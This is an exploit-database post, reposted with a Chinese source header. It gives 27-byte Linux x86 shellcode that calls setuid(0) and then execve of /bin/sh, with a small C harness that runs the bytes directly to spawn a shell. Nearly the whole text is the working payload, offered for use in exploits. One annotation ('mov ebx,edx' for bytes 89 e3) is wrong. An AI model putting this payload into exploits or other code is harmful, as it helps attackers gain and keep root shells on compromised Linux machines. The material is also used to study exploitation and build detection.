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linux/x86 setuid(0) && execve(/bin/sh,0,0) shellcode 27 bytes
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来源：http://www.vlan7.org 作者：vlan7 发布时间：2010-08-16
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#Special Thanks Inj3ct0r Exploit DataBase
#I Love Inj3ct0r.Com
#include <stdio.h>
const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push/pop!
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) should returns 0 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena //bin/sh con un 0
"\x68\x6e\x2f\x73\x68" //push dword "hs/n"
"\x68\x2f\x2f\x62\x69" //push dword "ib//"
"\x89\xe3" //mov ebx,edx
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h
int main()
{
printf("\nSMALLEST SETUID && EXECVE GNU/LINUX x86 STABLE SHELLCODE "
"WITHOUT NULLS THAT SPAWNS A SHELL"
"\n\nCoded by vlan7"
"\n\t + http://www.vlan7.org"
"\n\n[+] Date: 4/Jul/2009"
"\n[+] Thanks to: sch3m4"
"\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(sc)-1);
(*(void (*)()) sc)();
return 0;
}
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